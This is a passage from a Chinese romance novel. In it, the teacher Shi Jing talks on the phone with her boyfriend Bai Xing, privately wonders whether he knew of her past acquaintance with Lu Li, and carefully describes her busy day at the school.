男友的声音似乎能抚平疲惫般。
时憬也忍不住松下肩膀,笑着回道:“那我要最大杯的。”
“收到!”
两人都笑了声。
白行继续关心她,“今天怎么会这么忙?”
时憬背脊松弛地靠在吱嘎作响的椅背上,她想要一股脑地把今天发生的事情通通说出来,可在这些话说出口之前,她忽然想起一件事——
四年前是白行带她来到栾山。
那……
四年前的白行是否知道,她与陆礼认识?
“时憬?”
“时老师?”
时憬收拢思绪,她不愿意去试探男友,但这个念头一旦冒出来,就再也下不去,她斟酌再三,谨慎开口道:“今天有爱心捐赠的企业来了,忙着接待,又碰上天气不好,有部分学生留宿在学校,忙到这会儿才空下来。”